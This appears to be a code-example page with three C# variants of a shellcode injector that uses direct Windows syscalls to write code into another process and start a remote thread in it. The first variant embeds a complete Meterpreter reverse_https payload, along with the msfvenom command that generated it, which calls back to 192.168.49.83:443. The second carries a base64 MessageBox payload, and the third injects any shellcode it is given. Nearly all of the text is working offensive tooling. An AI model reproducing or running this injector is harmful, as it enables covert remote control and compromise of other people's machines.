public static unsafe int Inject(string processName, string os, int method)
        {
            Process targetProcess = Process.GetProcessesByName(processName)[0];

            int id = targetProcess.Id;

            Console.WriteLine("Injecting shellcode on pid " + id);

            //msfvenom payload = msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.49.83 LPORT=443 -f csharp
            byte[] shellcode = new byte[652] {
                0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xcc, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52,
                0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x51, 0x56, 0x48,
                0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x4d, 0x31, 0xc9, 0x48, 0x0f, 0xb7, 0x4a, 0x4a,
                0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
                0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b, 0x42, 0x3c, 0x48,
                0x01, 0xd0, 0x66, 0x81, 0x78, 0x18, 0x0b, 0x02, 0x0f, 0x85, 0x72, 0x00, 0x00, 0x00, 0x8b,
                0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01, 0xd0, 0x8b, 0x48,
                0x18, 0x44, 0x8b, 0x40, 0x20, 0x50, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x4d,
                0x31, 0xc9, 0x41, 0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x48, 0x31, 0xc0, 0xac, 0x41, 0xc1,
                0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1, 0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45,
                0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b,
                0x0c, 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x41, 0x58,
                0x41, 0x58, 0x5e, 0x59, 0x48, 0x01, 0xd0, 0x5a, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5a, 0x48,
                0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9,
                0x4b, 0xff, 0xff, 0xff, 0x5d, 0x48, 0x31, 0xdb, 0x53, 0x49, 0xbe, 0x77, 0x69, 0x6e, 0x69,
                0x6e, 0x65, 0x74, 0x00, 0x41, 0x56, 0x48, 0x89, 0xe1, 0x49, 0xc7, 0xc2, 0x4c, 0x77, 0x26,
                0x07, 0xff, 0xd5, 0x53, 0x53, 0x48, 0x89, 0xe1, 0x53, 0x5a, 0x4d, 0x31, 0xc0, 0x4d, 0x31,
                0xc9, 0x53, 0x53, 0x49, 0xba, 0x3a, 0x56, 0x79, 0xa7, 0x00, 0x00, 0x00, 0x00, 0xff, 0xd5,
                0xe8, 0x0e, 0x00, 0x00, 0x00, 0x31, 0x39, 0x32, 0x2e, 0x31, 0x36, 0x38, 0x2e, 0x34, 0x39,
                0x2e, 0x38, 0x33, 0x00, 0x5a, 0x48, 0x89, 0xc1, 0x49, 0xc7, 0xc0, 0xbb, 0x01, 0x00, 0x00,
                0x4d, 0x31, 0xc9, 0x53, 0x53, 0x6a, 0x03, 0x53, 0x49, 0xba, 0x57, 0x89, 0x9f, 0xc6, 0x00,
                0x00, 0x00, 0x00, 0xff, 0xd5, 0xe8, 0x63, 0x00, 0x00, 0x00, 0x2f, 0x32, 0x65, 0x4d, 0x57,
                0x59, 0x36, 0x74, 0x66, 0x36, 0x36, 0x75, 0x58, 0x77, 0x70, 0x62, 0x41, 0x79, 0x42, 0x66,
                0x6a, 0x50, 0x51, 0x6e, 0x61, 0x6d, 0x56, 0x51, 0x63, 0x57, 0x31, 0x4e, 0x57, 0x33, 0x6a,
                0x2d, 0x71, 0x34, 0x6e, 0x32, 0x50, 0x45, 0x4b, 0x4e, 0x45, 0x68, 0x4a, 0x51, 0x4f, 0x33,
                0x45, 0x6a, 0x4d, 0x6e, 0x61, 0x57, 0x48, 0x4f, 0x6a, 0x75, 0x73, 0x53, 0x6b, 0x51, 0x6c,
                0x5a, 0x64, 0x68, 0x32, 0x44, 0x32, 0x6e, 0x62, 0x69, 0x73, 0x76, 0x73, 0x61, 0x73, 0x57,
                0x77, 0x7a, 0x4b, 0x33, 0x79, 0x33, 0x52, 0x4a, 0x39, 0x4f, 0x5a, 0x65, 0x48, 0x6c, 0x4c,
                0x66, 0x6a, 0x6d, 0x00, 0x48, 0x89, 0xc1, 0x53, 0x5a, 0x41, 0x58, 0x4d, 0x31, 0xc9, 0x53,
                0x48, 0xb8, 0x00, 0x32, 0xa8, 0x84, 0x00, 0x00, 0x00, 0x00, 0x50, 0x53, 0x53, 0x49, 0xc7,
                0xc2, 0xeb, 0x55, 0x2e, 0x3b, 0xff, 0xd5, 0x48, 0x89, 0xc6, 0x6a, 0x0a, 0x5f, 0x48, 0x89,
                0xf1, 0x6a, 0x1f, 0x5a, 0x52, 0x68, 0x80, 0x33, 0x00, 0x00, 0x49, 0x89, 0xe0, 0x6a, 0x04,
                0x41, 0x59, 0x49, 0xba, 0x75, 0x46, 0x9e, 0x86, 0x00, 0x00, 0x00, 0x00, 0xff, 0xd5, 0x4d,
                0x31, 0xc0, 0x53, 0x5a, 0x48, 0x89, 0xf1, 0x4d, 0x31, 0xc9, 0x4d, 0x31, 0xc9, 0x53, 0x53,
                0x49, 0xc7, 0xc2, 0x2d, 0x06, 0x18, 0x7b, 0xff, 0xd5, 0x85, 0xc0, 0x75, 0x1f, 0x48, 0xc7,
                0xc1, 0x88, 0x13, 0x00, 0x00, 0x49, 0xba, 0x44, 0xf0, 0x35, 0xe0, 0x00, 0x00, 0x00, 0x00,
                0xff, 0xd5, 0x48, 0xff, 0xcf, 0x74, 0x02, 0xeb, 0xaa, 0xe8, 0x55, 0x00, 0x00, 0x00, 0x53,
                0x59, 0x6a, 0x40, 0x5a, 0x49, 0x89, 0xd1, 0xc1, 0xe2, 0x10, 0x49, 0xc7, 0xc0, 0x00, 0x10,
                0x00, 0x00, 0x49, 0xba, 0x58, 0xa4, 0x53, 0xe5, 0x00, 0x00, 0x00, 0x00, 0xff, 0xd5, 0x48,
                0x93, 0x53, 0x53, 0x48, 0x89, 0xe7, 0x48, 0x89, 0xf1, 0x48, 0x89, 0xda, 0x49, 0xc7, 0xc0,
                0x00, 0x20, 0x00, 0x00, 0x49, 0x89, 0xf9, 0x49, 0xba, 0x12, 0x96, 0x89, 0xe2, 0x00, 0x00,
                0x00, 0x00, 0xff, 0xd5, 0x48, 0x83, 0xc4, 0x20, 0x85, 0xc0, 0x74, 0xb2, 0x66, 0x8b, 0x07,
                0x48, 0x01, 0xc3, 0x85, 0xc0, 0x75, 0xd2, 0x58, 0xc3, 0x58, 0x6a, 0x00, 0x59, 0x49, 0xc7,
                0xc2, 0xf0, 0xb5, 0xa2, 0x56, 0xff, 0xd5
            };


            nativeStructs.CLIENT_ID clientid = new nativeStructs.CLIENT_ID();
            clientid.UniqueProcess = new IntPtr(id);
            clientid.UniqueThread  = IntPtr.Zero;

            IntPtr bufferReal = IntPtr.Zero;
            IntPtr procHandle = IntPtr.Zero;

            syscalls.ZwOpenProcess(ref procHandle, nativeStructs.ProcessAccessFlags.All, new nativeStructs.OBJECT_ATTRIBUTES(), ref clientid, os);
            IntPtr remoteAddr = new IntPtr();

            switch (method)
            {
            case ALLOCWRITE:
                Console.WriteLine("[+] Using ALLOCWRITE method to allocate our shellcode in the remote process");
                UIntPtr sz = new UIntPtr(Convert.ToUInt32(shellcode.Length));

                syscalls.NtAllocateVirtualMemory(procHandle, ref remoteAddr, new IntPtr(0), ref sz, nativeStructs.MEM_COMMIT | nativeStructs.MEM_RESERVE, nativeStructs.PAGE_EXECUTE_READWRITE, os);

                IntPtr written          = IntPtr.Zero;
                IntPtr unmanagedPointer = Marshal.AllocHGlobal(shellcode.Length);
                Marshal.Copy(shellcode, 0, unmanagedPointer, shellcode.Length);
                syscalls.ZwWriteVirtualMemory(procHandle, ref remoteAddr, unmanagedPointer, Convert.ToUInt32(shellcode.Length), ref written, os);

                break;

            case OPENSEC:
                Console.WriteLine("[+] Using OPENSEC method to allocate our shellcode in the remote process");
                //create required structs/variables
                IntPtr  localAddr = new IntPtr(null);
                Process thisProc  = Process.GetCurrentProcess();
                nativeStructs.LARGE_INTEGER liVal = new nativeStructs.LARGE_INTEGER();
                uint size_ = getLowPart((uint)shellcode.Length);
                liVal.LowPart = size_;

                //create local section
                IntPtr section_ = new IntPtr();
                IntPtr viewSize = (IntPtr)(shellcode.Length);
                long   status   = (int)syscalls.NtCreateSection(ref section_, 0x10000000, (IntPtr)0, ref liVal, nativeStructs.PAGE_EXECUTE_READWRITE, 0x08000000, (IntPtr)0, os);

                //map local section
                status = (int)syscalls.NtMapViewOfSection(section_, thisProc.Handle, ref localAddr, (IntPtr)0, (IntPtr)0, (IntPtr)0, ref viewSize, 1, 0, nativeStructs.PAGE_EXECUTE_READWRITE, os);

                //map remote section
                status = (int)syscalls.NtMapViewOfSection(section_, procHandle, ref remoteAddr, (IntPtr)0, (IntPtr)0, (IntPtr)0, ref viewSize, 1, 0, nativeStructs.PAGE_EXECUTE_READWRITE, os);

                //copy shellcode to local section
                Marshal.Copy(shellcode, 0, localAddr, shellcode.Length);

                break;
            }



            //bool is64bit = Environment.Is64BitProcess;
            int temp1 = 0, temp2 = 0;

            nativeStructs.NtCreateThreadExBuffer nb = new nativeStructs.NtCreateThreadExBuffer
            {
                Size     = sizeof(nativeStructs.NtCreateThreadExBuffer),
                Unknown1 = 0x10003,
                Unknown2 = 0x8,
                Unknown3 = new IntPtr(&temp2),
                Unknown4 = 0,
                Unknown5 = 0x10004,
                Unknown6 = 4,
                Unknown7 = new IntPtr(&temp1),
                Unknown8 = 0,
            };
            IntPtr hRemoteThread;

            //syscalls.NtCreateThreadEx(out hRemoteThread, 0x1FFFFF, IntPtr.Zero, procHandle, buffer, IntPtr.Zero, 0, 0, (is64bit ? 0xFFFF : 0u), (is64bit ? 0xFFFF : 0u), (is64bit ? IntPtr.Zero : new IntPtr(&nb)), os);
            //if OPENSEC then a thread is created in a remote process with the remote section addr as starting point.
            //if ALLOCWRITE then a thread is created poiting to a memory address with our shellcode
            syscalls.NtCreateThreadEx(out hRemoteThread, 0x1FFFFF, IntPtr.Zero, procHandle, remoteAddr, IntPtr.Zero, 0, 0, 0xFFFF, 0xFFFF, IntPtr.Zero, os);

            return(0);
        }
Exemple #2
0
        public static unsafe int Inject(string processName, string os, int method)
        {
            Process targetProcess = Process.GetProcessesByName(processName)[0];

            int id = targetProcess.Id;

            Console.WriteLine("Injecting shellcode on pid " + id);

            //msf messagebox x64
            string s = @"/EiB5PD////o0AAAAEFRQVBSUVZIMdJlSItSYD5Ii1IYPkiLUiA+SItyUD5ID7dKSk0xyUgxwKw8YXwCLCBBwckNQQHB4u1SQVE+SItSID6LQjxIAdA+i4CIAAAASIXAdG9IAdBQPotIGD5Ei0AgSQHQ41xI/8k+QYs0iEgB1k0xyUgxwKxBwckNQQHBOOB18T5MA0wkCEU50XXWWD5Ei0AkSQHQZj5BiwxIPkSLQBxJAdA+QYsEiEgB0EFYQVheWVpBWEFZQVpIg+wgQVL/4FhBWVo+SIsS6Un///9dScfBAAAAAD5IjZX+AAAAPkyNhQMBAABIMclBukWDVgf/1UgxyUG68LWiVv/VZ2F0bwBNZXNzYWdlQm94AA==";

            byte[] shellcode = Convert.FromBase64String(s);


            nativeStructs.CLIENT_ID clientid = new nativeStructs.CLIENT_ID();
            clientid.UniqueProcess = new IntPtr(id);
            clientid.UniqueThread  = IntPtr.Zero;

            IntPtr bufferReal = IntPtr.Zero;
            IntPtr procHandle = IntPtr.Zero;

            syscalls.ZwOpenProcess(ref procHandle, nativeStructs.ProcessAccessFlags.All, new nativeStructs.OBJECT_ATTRIBUTES(), ref clientid, os);
            IntPtr remoteAddr = new IntPtr();

            switch (method)
            {
            case ALLOCWRITE:
                Console.WriteLine("[+] Using ALLOCWRITE method to allocate our shellcode in the remote process");
                UIntPtr sz = new UIntPtr(Convert.ToUInt32(shellcode.Length));

                syscalls.NtAllocateVirtualMemory(procHandle, ref remoteAddr, new IntPtr(0), ref sz, nativeStructs.MEM_COMMIT | nativeStructs.MEM_RESERVE, nativeStructs.PAGE_EXECUTE_READWRITE, os);

                IntPtr written          = IntPtr.Zero;
                IntPtr unmanagedPointer = Marshal.AllocHGlobal(shellcode.Length);
                Marshal.Copy(shellcode, 0, unmanagedPointer, shellcode.Length);
                syscalls.ZwWriteVirtualMemory(procHandle, ref remoteAddr, unmanagedPointer, Convert.ToUInt32(shellcode.Length), ref written, os);

                break;

            case OPENSEC:
                Console.WriteLine("[+] Using OPENSEC method to allocate our shellcode in the remote process");
                //create required structs/variables
                IntPtr  localAddr = new IntPtr(null);
                Process thisProc  = Process.GetCurrentProcess();
                nativeStructs.LARGE_INTEGER liVal = new nativeStructs.LARGE_INTEGER();
                uint size_ = getLowPart((uint)shellcode.Length);
                liVal.LowPart = size_;

                //create local section
                IntPtr section_ = new IntPtr();
                IntPtr viewSize = (IntPtr)(shellcode.Length);
                long   status   = (int)syscalls.NtCreateSection(ref section_, 0x10000000, (IntPtr)0, ref liVal, nativeStructs.PAGE_EXECUTE_READWRITE, 0x08000000, (IntPtr)0, os);

                //map local section
                status = (int)syscalls.NtMapViewOfSection(section_, thisProc.Handle, ref localAddr, (IntPtr)0, (IntPtr)0, (IntPtr)0, ref viewSize, 1, 0, nativeStructs.PAGE_EXECUTE_READWRITE, os);

                //map remote section
                status = (int)syscalls.NtMapViewOfSection(section_, procHandle, ref remoteAddr, (IntPtr)0, (IntPtr)0, (IntPtr)0, ref viewSize, 1, 0, nativeStructs.PAGE_EXECUTE_READWRITE, os);

                //copy shellcode to local section
                Marshal.Copy(shellcode, 0, localAddr, shellcode.Length);

                break;
            }



            //bool is64bit = Environment.Is64BitProcess;
            int temp1 = 0, temp2 = 0;

            nativeStructs.NtCreateThreadExBuffer nb = new nativeStructs.NtCreateThreadExBuffer
            {
                Size     = sizeof(nativeStructs.NtCreateThreadExBuffer),
                Unknown1 = 0x10003,
                Unknown2 = 0x8,
                Unknown3 = new IntPtr(&temp2),
                Unknown4 = 0,
                Unknown5 = 0x10004,
                Unknown6 = 4,
                Unknown7 = new IntPtr(&temp1),
                Unknown8 = 0,
            };
            IntPtr hRemoteThread;

            //syscalls.NtCreateThreadEx(out hRemoteThread, 0x1FFFFF, IntPtr.Zero, procHandle, buffer, IntPtr.Zero, 0, 0, (is64bit ? 0xFFFF : 0u), (is64bit ? 0xFFFF : 0u), (is64bit ? IntPtr.Zero : new IntPtr(&nb)), os);
            //if OPENSEC then a thread is created in a remote process with the remote section addr as starting point.
            //if ALLOCWRITE then a thread is created poiting to a memory address with our shellcode
            syscalls.NtCreateThreadEx(out hRemoteThread, 0x1FFFFF, IntPtr.Zero, procHandle, remoteAddr, IntPtr.Zero, 0, 0, 0xFFFF, 0xFFFF, IntPtr.Zero, os);

            return(0);
        }
Exemple #3
0
        public static unsafe int Inject(string shellcode_base64, string processName, string os, int method)
        {
            Process targetProcess = Process.GetProcessesByName(processName)[0];

            int id = targetProcess.Id;

            Console.WriteLine("[+] Injecting shellcode on pid " + id);

            string s = shellcode_base64;

            byte[] shellcode = Convert.FromBase64String(s);


            nativeStructs.CLIENT_ID clientid = new nativeStructs.CLIENT_ID();
            clientid.UniqueProcess = new IntPtr(id);
            clientid.UniqueThread  = IntPtr.Zero;

            IntPtr bufferReal = IntPtr.Zero;
            IntPtr procHandle = IntPtr.Zero;

            syscalls.ZwOpenProcess10(ref procHandle, nativeStructs.ProcessAccessFlags.All, new nativeStructs.OBJECT_ATTRIBUTES(), ref clientid, os);
            IntPtr remoteAddr = new IntPtr();

            switch (method)
            {
            case ALLOCWRITE:
                Console.WriteLine("[+] Using ALLOCWRITE method to allocate our shellcode in the remote process");
                UIntPtr sz = new UIntPtr(Convert.ToUInt32(shellcode.Length));

                syscalls.NtAllocateVirtualMemory10(procHandle, ref remoteAddr, new IntPtr(0), ref sz, nativeStructs.MEM_COMMIT | nativeStructs.MEM_RESERVE, nativeStructs.PAGE_EXECUTE_READWRITE, os);

                IntPtr written          = IntPtr.Zero;
                IntPtr unmanagedPointer = Marshal.AllocHGlobal(shellcode.Length);
                Marshal.Copy(shellcode, 0, unmanagedPointer, shellcode.Length);
                syscalls.ZwWriteVirtualMemory10(procHandle, ref remoteAddr, unmanagedPointer, Convert.ToUInt32(shellcode.Length), ref written, os);

                break;

            case OPENSEC:
                Console.WriteLine("[+] Using OPENSEC method to allocate our shellcode in the remote process");
                //create required structs/variables
                IntPtr  localAddr = new IntPtr(null);
                Process thisProc  = Process.GetCurrentProcess();
                nativeStructs.LARGE_INTEGER liVal = new nativeStructs.LARGE_INTEGER();
                uint size_ = getLowPart((uint)shellcode.Length);
                liVal.LowPart = size_;

                //create local section
                IntPtr section_ = new IntPtr();
                IntPtr viewSize = (IntPtr)(shellcode.Length);
                long   status   = (int)syscalls.NtCreateSection(ref section_, 0x10000000, (IntPtr)0, ref liVal, nativeStructs.PAGE_EXECUTE_READWRITE, 0x08000000, (IntPtr)0, os);

                //map local section
                status = (int)syscalls.NtMapViewOfSection(section_, thisProc.Handle, ref localAddr, (IntPtr)0, (IntPtr)0, (IntPtr)0, ref viewSize, 1, 0, nativeStructs.PAGE_EXECUTE_READWRITE, os);

                //map remote section
                status = (int)syscalls.NtMapViewOfSection(section_, procHandle, ref remoteAddr, (IntPtr)0, (IntPtr)0, (IntPtr)0, ref viewSize, 1, 0, nativeStructs.PAGE_EXECUTE_READWRITE, os);

                //copy shellcode to local section
                Marshal.Copy(shellcode, 0, localAddr, shellcode.Length);

                break;
            }



            //bool is64bit = Environment.Is64BitProcess;
            int temp1 = 0, temp2 = 0;

            nativeStructs.NtCreateThreadExBuffer nb = new nativeStructs.NtCreateThreadExBuffer
            {
                Size     = sizeof(nativeStructs.NtCreateThreadExBuffer),
                Unknown1 = 0x10003,
                Unknown2 = 0x8,
                Unknown3 = new IntPtr(&temp2),
                Unknown4 = 0,
                Unknown5 = 0x10004,
                Unknown6 = 4,
                Unknown7 = new IntPtr(&temp1),
                Unknown8 = 0,
            };
            IntPtr hRemoteThread;

            //syscalls.NtCreateThreadEx(out hRemoteThread, 0x1FFFFF, IntPtr.Zero, procHandle, buffer, IntPtr.Zero, 0, 0, (is64bit ? 0xFFFF : 0u), (is64bit ? 0xFFFF : 0u), (is64bit ? IntPtr.Zero : new IntPtr(&nb)), os);
            //if OPENSEC then a thread is created in a remote process with the remote section addr as starting point.
            //if ALLOCWRITE then a thread is created poiting to a memory address with our shellcode
            syscalls.NtCreateThreadEx(out hRemoteThread, 0x1FFFFF, IntPtr.Zero, procHandle, remoteAddr, IntPtr.Zero, 0, 0, 0xFFFF, 0xFFFF, IntPtr.Zero, os);

            return(0);
        }